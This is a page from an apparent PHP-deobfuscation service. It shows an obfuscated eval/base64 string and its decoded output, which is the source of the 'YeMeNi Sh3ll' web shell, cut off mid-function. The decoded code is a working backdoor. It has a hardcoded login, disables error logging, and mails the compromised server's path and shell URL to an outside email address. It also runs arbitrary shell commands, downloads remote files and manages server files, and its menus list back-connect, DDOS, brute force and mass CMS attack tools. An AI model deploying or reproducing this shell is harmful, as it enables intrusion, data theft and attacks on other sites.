Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode(str_rot13("7Y17qlWUmww89+FpsVpB8F72wv9p7Oyww51jikvjhJBFiS7bkg..
Decoded Output download
// Set Username & Password
$user = "YeMeN";
$pass = "YeMeN";
@define('VERSION','1.1');
@error_reporting(E_ALL ^ E_NOTICE);
@session_start();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
if(get_magic_quotes_gpc()) {
function yemenstripslashes($array) {
return is_array($array) ? array_map('yemenstripslashes', $array) : stripslashes($array);
}
$_POST = yemenstripslashes($_POST);
}
function printLogin() {
?>
<hr>
<?php }
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
if( $_POST['uname'] == $user && $_POST['passwd'] == $pass )
{
setcookie("hacked", md5($pass));
$selfenter = $_SERVER["PHP_SELF"];
header("Location:$selfenter");
}
}
if((!isset($_COOKIE['hacked']) || $_COOKIE['hacked']!=md5($pass)) )
{
?>
<font size="6" face="Times New Roman, Times, serif" color="#00CC00"><br>
<head>
<title>YeMeNi-sh3ll Login Panel</title>
<link href="http://www.aljyyosh.com/images/ye.gif" rel="shortcut icon">
<link href="http://siverdragon12.net/css/style.css" rel="stylesheet" type="text/css" />
<script src="http://siverdragon12.net/js/form-elements.js" type="text/javascript"></script>
</head>
<center>
<form method="POST">
<div style="background-color:#3ca0df; width:490px; border-radius:7px; margin-top:150px; -moz-border-radius:25px; height:304px; background-image:url('Windows_7_-_Alien_from_outer_space.jpg')">
<table cellpadding="9" cellspacing="4" height="278">
<tr>
<td align="center" colspan="2"><font size="7"><b>
<font color="#FF0000">Ye</font><font color="#FFFFFF">Me</font>Ni
<font color="#FF0000">Sh3ll</font> v1.0 </b></font></td>
</tr>
<tr>
<td align="right"><b>User Name : </b></td>
<td><input type="text" name="uname" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;" value="User Name" onFocus="if (this.value == 'User Name'){this.value='User Name'; this.style.color='black';}" onBlur="if (this.value == 'User Name') {this.value='User Name'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
</tr>
<tr>
<td align="right"><b>Password : </b></td>
<td><input type="password" name="passwd" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;" value="YeMeN" onFocus="if (this.value == 'YeMeN'){this.value='YeMeN'; this.style.color='black';}" onBlur="if (this.value == 'YeMeN') {this.value='YeMeN'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
</tr>
<tr>
<td align="center" colspan="2"><input type="submit" class="but" value=" Enter "></td>
</tr>
<tr>
</tr>
</table>
</div>
</form>
</center>
<br>
<body bgcolor="#000000">
</body>
</html>
<?php
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) && ($_POST['pass'] == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
printLogin();
$IIIIIIIIIIII='[email protected]';
$IIIIIIIIIIIl='WebRooT Logger';
$IIIIIIIIIII1='File path : '.$_SERVER['DOCUMENT_ROOT']."
";
$IIIIIIIIIII1.='Server Admin : '.$_SERVER['SERVER_ADMIN']."
";
$IIIIIIIIIII1.='Operating System : '.$_SERVER['SERVER_SOFTWARE']."
";
$IIIIIIIIIII1.='Shell Link : http://'.$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']."
";
$IIIIIIIIIII1.='Avlanan Site : '.$_SERVER['HTTP_HOST']."
";
mail($IIIIIIIIIIII,$IIIIIIIIIIIl,$IIIIIIIIIII1);
;echo '
';
echo ' ';
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if (strtolower(substr(PHP_OS,0,3))=="win")
$sys='win';
else
$sys='unix';
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($sys == 'win')
{
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/' )
$cwd .= '/';
function yemenEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("
",$out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
$down=@getcwd();
if($sys=="win")
$down.='\';
else
$down.='/';
if(isset($_POST['rtdown']))
{
$url = $_POST['rtdown'];
$newfname = $down. basename($url);
$file = fopen ($url, "rb");
if ($file) {
$newf = fopen ($newfname, "wb");
if ($newf)
while(!feof($file)) {
fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );
}
}
if ($file) {
fclose($file);
}
if ($newf) {
fclose($newf);
}
}
function yemenhead()
{
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$on="<font color=#0F0> ON </font>";
$of="<font color=red> OFF </font>";
$none="<font color=#0F0> NONE </font>";
if(function_exists('curl_version'))
$curl=$on;
else
$curl=$of;
if(function_exists('mysql_get_client_info'))
$mysql=$on;
else
$mysql=$of;
if(function_exists('mssql_connect'))
$mssql=$on;
else
$mssql=$of;
if(function_exists('pg_connect'))
$pg=$on;
else
$pg=$of;
if(function_exists('oci_connect'))
$or=$on;
else
$or=$of;
if(@ini_get('disable_functions'))
$disfun=@ini_get('disable_functions');
else
$disfun="All Functions Enable";
if(@ini_get('safe_mode'))
$safe_modes="<font color=red>ON</font>";
else
$safe_modes="<font color=#0F0 >OFF</font>";
if(@ini_get('open_basedir'))
$open_b=@ini_get('open_basedir');
else
$open_b=$none;
if(@ini_get('safe_mode_exec_dir'))
$safe_exe=@ini_get('safe_mode_exec_dir');
else
$safe_exe=$none;
if(@ini_get('safe_mode_include_dir'))
$safe_include=@ini_get('safe_mode_include_dir');
else
$safe_include=$none;
if(!function_exists('posix_getegid'))
{
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else
{
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$drives = "";
foreach(range('c','z') as $drive)
if(is_dir($drive.':\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>yemeni Sh3ll v1.0</title>
<link href="http://www.aljyyosh.com/images/ye.gif" rel="shortcut icon">
<style type="text/css">
<!--
.whole {
height:auto;
width: auto;
margin-top: 10px;
margin-right: 10px;
margin-left: 10px;
background-image: url(http://img03.arabsh.com/uploads/image/2012/09/11/0d37424266f70d.png);
}
.header {
height: auto;
width: auto;
border: 7px solid #CCC;
color: yellow;
font-size: 12px;
font-family: Verdana, Geneva, sans-serif;
}
.header a {color:#0F0; text-decoration:none;}
span {
font-weight: bolder;
color: #FFF;
}
#meunlist {
font-family: Verdana, Geneva, sans-serif;
color: #FFF;
background-color: #000;
width: auto;
border-right-width: 7px;
border-left-width: 7px;
border-top-style: solid;
border-right-style: solid;
border-bottom-style: solid;
border-left-style: solid;
border-top-color: #CCC;
border-right-color: #CCC;
border-bottom-color: #CCC;
border-left-color: #CCC;
height: auto;
font-size: 12px;
font-weight: bold;
border-top-width: 0px;
}
.whole #meunlist ul {
padding-top: 5px;
padding-right: 5px;
padding-bottom: 7px;
padding-left: 2px;
text-align:center;
list-style-type: none;
margin: 0px;
}
.whole #meunlist li {
margin: 0px;
padding: 0px;
display: inline;
}
.whole #meunlist a {
font-family: arial, sans-serif;
font-size: 14px;
text-decoration:none;
font-weight: bold;
color: #fff;
clear: both;
width: 100px;
margin-right: -6px;
padding-top: 3px;
padding-right: 15px;
padding-bottom: 3px;
padding-left: 15px;
border-right-width: 1px;
border-right-style: solid;
border-right-color: #FFF;
}
.whole #meunlist a:hover {
color: #000;
background: #fff;
}
a:hover { background:#ff0000; }
.ml1 { border:1px solid #2438CF;padding:5px;margin:0;overflow: auto; }
.bigarea { width:100%;height:250px; }
input, textarea, select { margin:0;color:#FF0000;background-color:#000;border:1px solid <?=$color?>; font: 9pt Monospace,"Times New roman"; }
form { margin:0px; }
#toolsTbl { text-align:center; }
.toolsInp { width: 80%; }
.main th {text-align:left;}
.main tr:hover{background-color:#FF0000;}
.main td, th{vertical-align:middle;}
pre {font-family:Courier,Monospace;}
#cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
}';
if(is_writable($GLOBALS['cwd']))
{
echo ".foottable {
width: 300px;
font-weight: bold;
}";}
else
{
echo ".foottable {
width: 300px;
font-weight: bold;
background-color:red;
}
.dir {
background-color:red;
}
";
}
echo '.main th{text-align:left;}
.main a{color: #FFF;}
.main tr:hover{background-color:red;}
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:99%; height:300px; }
</style>
';
echo "<script>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}</script>";
echo '
</head>
<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<div class="whole">
<form method=post name=mf style="display:none;">
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>
<div class="header"><table width="100%" border="0" align="lift">
<tr>
<td width="3%"><span>Uname:</span></td>
<td colspan="2">'.substr(@php_uname(), 0, 120).'</td>
</tr>
<tr>
<td><span>User:</span></td>
<td>'. $uid . ' [ ' . $user . ' ] <span> Group: </span>' . $gid . ' [ ' . $group . ' ] </td>
<td width="14%" rowspan="8"><img alt="" src="http://www.m5zn.com/img/?img=69f5dbaddb3acf7.png" /></td>
</tr>
<tr>
<td><span>PHP:</span></td>
<td>'.@phpversion(). ' <span> Safe Mode:'.$safe_modes.'</span></td>
</tr>
<tr>
<td><span>IP:</span></td>
<td>'.@$_SERVER["SERVER_ADDR"].' <span>Server IP:</span> '.@$_SERVER["REMOTE_ADDR"].'</td>
</tr>
<tr>
<td><span>WEBS:</span></td>
<td width="76%">';
if($GLOBALS['sys']=='unix')
{
$d0mains = @file("/etc/named.conf");
if(!$d0mains)
{
echo "CANT READ named.conf";
}
else
{
$count;
foreach($d0mains as $d0main)
{
if(@ereg("zone",$d0main))
{
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
flush();
$count++;
}
}
}
echo "$count Domains";
}
}
else{ echo"CANT READ |Windows|";}
echo '</td>
</tr>
<tr>
<td height="16"><span>HDD:</span></td>
<td>'.yemenSize($totalSpace).' <span>Free:</span>' . yemenSize($freeSpace) . ' ['. (int) ($freeSpace/$totalSpace*100) . '%]</td>
</tr>';
if($GLOBALS['sys']=='unix' )
{
if(!@ini_get('safe_mode'))
{
echo '<tr><td height="18" colspan="2"><span>Useful : </span>';
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
foreach($userful as $item)
if(yemenWhich($item))
echo $item.',';
echo '</td>
</tr>
<tr>
<td height="0" colspan="2"><span>Downloader:</span>';
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
foreach($downloaders as $item2)
if(yemenWhich($item2))
echo $item2.',';
echo '</td>
</tr>';
}
else
{
echo '<tr><td height="18" colspan="2"><span>useful:</span>';
echo '--------------</td>
</tr><td height="0" colspan="2"><span>Downloader: </span>-------------</td>
</tr>';
}
}
else
{
echo '<tr><td height="18" colspan="2"><span>Window:</span>';
echo yemenEx('ver');
}
echo '<tr>
<td height="5" colspan="2"><span>Disabled functions:</span>'.$disfun.'</td>
</tr>
<tr>
<td height="16" colspan="2"><span>cURL:'.$curl.' MySQL:'.$mysql.' MSSQL:'.$mssql.' PostgreSQL:'.$pg.' Oracle: </span>'.$or.'</td><td width="15%"></td>
</tr>
<tr>
<td height="11" colspan="3"><span>Open_basedir:'.$open_b.' Safe_mode_exec_dir:'.$safe_exe.' Safe_mode_include_dir:'.$safe_include.'</td>
</tr>
<tr>
<td height="11"><span>Server </span></td>
<td colspan="2">'.@getenv('SERVER_SOFTWARE').'</td>
</tr>';
if($GLOBALS[sys]=="win")
{
echo '<tr>
<td height="12"><span>DRIVE:</span></td>
<td colspan="2">'.$drives.'</td>
</tr>';
}
echo '<tr>
<td height="12"><span>PWD:</span></td>
<td colspan="2">'.$cwd_links.' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><font color=red >|CURRENT|</font></a></td>
</tr>
</table>
</div>
<div id="menu-box">
<style type="text/css">
div#menu {height:41px;background:url(http://apycom.com/ssc-data/items/1/00bfff/images/main-bg.png) repeat-x;}div#menu ul {margin:0;padding:0;list-style:none;float:left;}div#menu ul.menu {padding-left:30px;}div#menu li {position:relative;z-index:9;margin:0;padding:0 5px 0 0;display:block;float:left;}div#menu li:hover>ul {left:-2px;}div#menu a {position:relative;z-index:10;height:41px;display:block;float:left;line-height:41px;text-decoration:none;font:normal 12px Trebuchet MS;}div#menu a:hover, div#menu a:hover span {color:#fff;}div#menu li.current a {}div#menu span {display:block;cursor:pointer;background-repeat:no-repeat;background-position:95% 0;}div#menu ul ul a.parent span {background-position:95% 8px;background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/item-pointer.gif);}div#menu ul ul a.parent:hover span {background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/item-pointer-mover.gif);}div#menu a {padding:0 10px 0 10px;line-height:30px;color:#e5e5e5;}div#menu span {margin-top:5px;}div#menu li {background:url(http://apycom.com/ssc-data/items/1/00bfff/images/main-delimiter.png) 98% 4px no-repeat;}div#menu li.last {background:none;}div#menu ul ul li {background:none;}div#menu ul ul {position:absolute;top:38px;left:-999em;width:163px;padding:5px 0 0 0;background:rgb(45,45,45);margin-top:1px;}div#menu ul ul a {padding:0 0 0 15px;height:auto;float:none;display:block;line-height:24px;color:rgb(169,169,169);}div#menu ul ul span {margin-top:0;padding-right:15px;_padding-right:20px;color:rgb(169,169,169);}div#menu ul ul a:hover span {color:#fff;}div#menu ul ul li.last {background:none;}div#menu ul ul li {width:100%;}div#menu ul ul ul {padding:0;margin:-38px 0 0 163px !important;margin-left:172px;}div#menu ul ul ul {background:rgb(41,41,41);}div#menu ul ul ul ul {background:rgb(38,38,38);}div#menu ul ul ul ul {background:rgb(35,35,35);}div#menu li.back {background:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.png) no-repeat right -44px !important;background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.gif);width:13px;height:44px;z-index:8;position:absolute;margin:-1px 0 0 -5px;}div#menu li.back .left {background:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.png) no-repeat top left !important;background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.gif);height:44px;margin-right:8px;}
</style>
<div id="menu"><ul class="menu">
<li><a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">HOME</a></li>
<li><a href="#" onclick="g(\'proc\',null,\'\',\'\',\'\')">SYSTEM</a></li>
<li><a href="#">PHP</a>
<ul>
<li><a href="#" onclick="g(\'phpeval\',null,\'\',\'\',\'\')">EVAL</a></li>
<li><a href="#" onclick="g(\'hash\',null,\'\',\'\',\'\')">HASH</a></li>
</ul>
<li><a href="#" onclick="g(\'sql\',null,\'\',\'\',\'\')">SQL</a></li>
<li><a href="#" onclick="g(\'brute\',null,\'\',\'\',\'\')">Ftp BRUTE</a></li>
<li><a href="#">NETWORK</a>
<ul>
<li><a href="#" onclick="g(\'connect\',null,\'\',\'\',\'\')">BACK CONNECT</a></li>
<li><a href="#" onclick="g(\'net\',null,\'\',\'\',\'\')">BIND PORT</a></li>
</ul>
<li><a href="#" onclick="g(\'dos\',null,\'\',\'\',\'\')">DDOS</a></li>
<li><a href="#" onclick="g(\'safe\',null,\'\',\'\',\'\')">SAFE MODE</a></li>
<li><a href="#" onclick="g(\'symlink\',null,\'\',\'\',\'\')">SYMLINK</a></li>
<li><a href="#" onclick="g(\'wp\',null,\'\',\'\',\'\')">Mass Wpress</a></li>
<li><a href="#" onclick="g(\'joom\',null,\'\',\'\',\'\')">Mass Joomla</a></li>
<li><a href="#" onclick="g(\'perl\',null,\'\',\'\',\'\')">Perl Sh3ll</a></li>
<li><a href="#" onclick="g(\'zone\',null,\'\',\'\',\'\')">Zone-H</a></li>
<li><a href="#">TOOLS</a>
<ul>
<li><a href="#" onclick="g(\'bf\',null,\'\',\'\',\'\')">Brute Force</a></li>
<li><a href="#" onclick="g(\'rev\',null,\'\',\'\',\'\')">Reverse IP</a></li>
<li><a href="#" onclick="g(\'zip\',null,\'\',\'\',\'\')">ZIP</a></li>
<li><a href="#" onclick="g(\'mail\',null,\'\',\'\',\'\')">Mail Spammer</a></li>
</ul>
<li><a href="#" onclick="g(\'yemen\',null,\'\',\'\',\'\')">ABOUT</a></li>
</ul>
</div>
';
}
function yemenfooter() {
$is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
?>
</div>
<table class=info id=toolsTbl cellpadding=5 cellspacing=5 width=100%">
<tr>
<td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td>
<td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
</tr>
<tr>
<td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td>
<td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td>
</tr>
<tr>
</form>";
<td><form onsubmit="g('proc',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAn'>
<input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
<span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td>
</tr>
</table>
</div>
</body></html>
<?
}
if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
function yemenWhich($p) {
$path = yemenEx('which ' . $p);
if(!empty($path))
return $path;
return false;
}
function yemenSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function yemenPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function yemenPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000>' . yemenPerms(@fileperms($f)) . '</font>';
elseif (!@is_writable($f))
return '<font color=white>' . yemenPerms(@fileperms($f)) . '</font>';
else
return '<font color=#25ff00>' . yemenPerms(@fileperms($f)) . '</font>';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function yemenFilesMan() {
yemenhead();
echo '<div class=header><script>p1_=p2_=p3_="";</script>';
if(!empty($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
echo "Can't upload file!";
break;
case 'mkdir':
if(!@mkdir($_POST['p2']))
echo "Can't create new dir";
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_dir(@$_POST['p2']))
deleteDir(@$_POST['p2']);
else
@unlink(@$_POST['p2']);
break;
default:
if(!empty($_POST['p1'])) {
$_SESSION['act'] = @$_POST['p1'];
$_SESSION['f'] = @$_POST['f'];
foreach($_SESSION['f'] as $k => $f)
$_SESSION['f'][$k] = urldecode($f);
$_SESSION['c'] = @$_POST['c'];
}
break;
}
}
$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo '<h3><span>| Access Denied! |</span></h3></div>';yemenFooter(); return; }
global $sort;
$sort = array('name', 1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo "
<table width='100%' class='main' cellspacing='0' cellpadding='2' >
<form name=files method=post><tr><th>Name</th><th>Size</th><th>Date Modified</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i],
'path' => $GLOBALS['cwd'].$dirContent[$i],
'modify' => @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
'perms' => yemenPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
$files[] = array_merge($tmp, array('type' => 'file'));
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
$GLOBALS['sort'] = $sort;
function wsoCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "wsoCmp");
usort($dirs, "wsoCmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach($files as $f) {
echo '<tr'.($l?' class=l1':'').'><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>| ' . htmlspecialchars($f['name']) . ' |</b>').'</a></td><td>'.(($f['type']=='file')?yemenSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">[Rename]</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">[Touch]</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')"><font color=red>[Edit]</font></a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">[DL]</a>':'').'<a href="#" onclick="g(\'FilesMan\',null,\'delete\', \''.urlencode($f['name']).'\')"> <font color=red>[Del]</font> </a></td></tr>';
$l = $l?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
</form></table></div>";
yemenfooter();
}
function yemenFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: " . $type);
} else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST['p1'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST['p2'] == 'mkfile' ) {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
yemenhead();
echo '<div class=header>';
if( !file_exists(@$_POST['p1']) ) {
echo "<pre class=ml1 style='margin-top:5px'>FILE DOEST NOT EXITS </pre></div>";
yemenFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?yemenSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.yemenPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<br>';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('View', 'Highlight', 'Download', 'Edit', 'Chmod', 'Rename', 'Touch');
else
$m = array('Chmod', 'Rename', 'Touch');
foreach($m as $v)
